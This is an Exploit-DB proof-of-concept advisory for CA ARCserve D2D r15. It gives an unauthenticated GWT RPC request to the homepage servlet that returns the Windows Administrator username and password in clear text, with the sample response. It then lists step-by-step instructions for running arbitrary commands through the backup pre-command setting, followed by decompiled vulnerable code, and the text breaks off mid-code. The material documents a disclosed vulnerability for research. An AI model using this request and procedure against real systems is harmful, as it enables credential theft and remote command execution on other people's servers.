Exploit-DB #17574
Description: CA ARCserve D2D r15 GWT RPC - Multiple Vulnerabilities
Type: webapps
Platform: jsp
Date: 2011-07-26
Author: rgod

Exploit:
# Exploit Title:CA ARCserve D2D r15 GWT RPC Request Auth Bypass / Credentials Disclosure and Commands Execution
# Google Dork: /
# Date: 25 July 2011
# Author: rgod
# Software Link: /
# Version: r15.0
# Tested on: Microsoft Windows Server 2003 r2 sp2
# CVE : none 
<?php
/*
CA ARCserve D2D r15 GWT RPC Request Auth Bypass /
Credentials Disclosure and Commands Execution PoC

product homepage: http://arcserve.com/us/default.aspx

file tested: CA_ARCserve_D2D_Setup_BMR.zip

tested against: Microsoft Windows Server 2003 r2 sp2

This software installs a Tomcat HTTP server which listens
on port 8014 for incoming connections (this port is also
added automatically to firewall exceptions to exhacerbate 
the vulnerability I am going to describe).
It uses a GWT RPC (Google Web Toolkit Remote Procedure
Call) mechanism to receive messages from the Administrator
browser.

Without prior authentication, a remote user with access
to the web server can send a POST request to the homepageServlet
serlvet containing the "getLocalHost" message and the correct
filename of a certain descriptor to disclose the
username and password of the target application.
This username and password pair are Windows credentials
with Administrator privileges, requested during
the ARCserve installation process (it clearly says this, an user
from the Administrators group).

This works with the mentioned software perfectly 
installed and configured and after the Administrator user 
logged in *one time each Tomcat session, logged out or not*
(which I think is easily exploitable against a production 
service running twenty four hours a day). You could also choose
to resend the request indefinetely, waiting for the Administrator
to be logged in.

Example packet:

POST /contents/service/homepage HTTP/1.1
Content-Type: text/x-gwt-rpc; charset=utf-8
User-Agent: GoogleBot/2.1
Host: 192.168.0.1:8014
Content-Length: 149
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: donotshowgettingstarted=%7B%22state%22%3Atrue%7D

5|0|4|http://192.168.0.1:8014/contents/|2C6B33BED38F825C48AE73C093241510|com.ca.arcflash.ui.client.homepage.HomepageService|getLocalHost|1|2|3|4|0|

Note that '2C6B33BED38F825C48AE73C093241510' is a static value
which represents a filename of a gwt rpc descriptor which can be found inside the default path:

C:\Program Files\CA\ARCserve D2D\TOMCAT\webapps\ROOT\contents\2C6B33BED38F825C48AE73C093241510.gwt.rpc

Note also that this packet does not contain any session id.

Response packet:

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Content-Disposition: attachment
Content-Type: application/json;charset=utf-8
Content-Length: 480
Date: Wed, 13 Jul 2011 18:57:19 GMT

//OK[0,17,16,8,15,14,8,13,-3,12,11,8,10,9,8,7,0,6,5,0,4,3,8,2,1,1,["com.ca.arcflash.ui.client.model.TrustHostModel/[PII_REDACTED]",
"com.extjs.gxt.ui.client.data.RpcMap/[PII_REDACTED]","port","java.lang.Integer/[PII_REDACTED]","Selected","java.lang.Boolean/476441737",
"hostName","java.lang.String/[PII_REDACTED]","RGOD_9SG","uuid","1a580961-1aa7-4225-b3aa-a522649c16ec","type",
"user","Administrator","password","MY_PASSWORD","Protocol"],0,5] <--------------------

Clear text! Clear text!!!

Username -> Administrator
Password -> MY_PASSWORD

A remote attacker could then login to the affected application
then execute arbitrary commands with Administrator group privileges
in the following way:

Browse Backup settings;
Click Advanced tab;
Check "Run a command before backup is started";
Fill the white field with the desired command, ex. cmd /c start calc ;
Fill the credentials fields with the gained username and password
(you can use the same you had before);
Select an existing backup destination in the Protection Settings tab;
Browse to the main page and clicking "Backup Now";
Select Incremental Backup and press OK;
calc.exe is launched various times.

Other attacks are possible.

Vulnerable code and explaination:


web.xml :
...
	<servlet>
		<servlet-name>homepageServlet</servlet-name>
		<servlet-class>com.ca.arcflash.ui.server.HomepageServiceImpl</servlet-class>
		<load-on-startup>1</load-on-startup>
	</servlet>

	<servlet-mapping>
		<servlet-name>homepageServlet</servlet-name>
		<url-pattern>/contents/service/homepage</url-pattern>
	</servlet-mapping>
...

the decompiled HomepageServiceImpl.class :

...
public TrustHostModel getLocalHost()
        throws BusinessLogicException, ServiceConnectException, ServiceInternalException
    {
        try
        {
            TrustedHost trustedhost = getLocalWebServiceClient().getLocalHostAsTrust();
            TrustHostModel trusthostmodel = ConvertToModel(trustedhost);
            return trusthostmodel;
        }
        catch(AxisFault axisfault)
        {
            axisfault.printStackTrace();
        }
        return null;
    }
...

the decompiled WebServiceClient.class :

...
public TrustedHost getLocalHostAsTrust()
        throws AxisFault
    {
        Object aobj[] = invokeWebMethod("getLocalHostAsTrust", new Object[0], new Class[] {  //<------------
            com/ca/arcflash/webservice/data/TrustedHost
        });
        return (TrustedHost)aobj[0];
    }
...

a request to the FlashServiceImpl Axis2 Web Service is originated
note that the ip address originating the request is 127.0.0.1 now!!!
So you are using the GWT RPC endpoint as a proxy for the mentioned
web service ...

from the decompiled FlashServiceImpl.class:

...
 public TrustedHost getLocalHostAsTrust()
        throws AxisFault
    {
        checkSession(); <--------------------
        try
        {
            return CommonService.getInstance().getLocalHostAsTrust();
        }
        catch(Throwable throwable)
        {
            logger.error(throwable.getMessage(), throwable);
        }
        throw new AxisFault("Unhandled exception in web service", FlashServiceErrorCode.Common_ErrorOccursInSe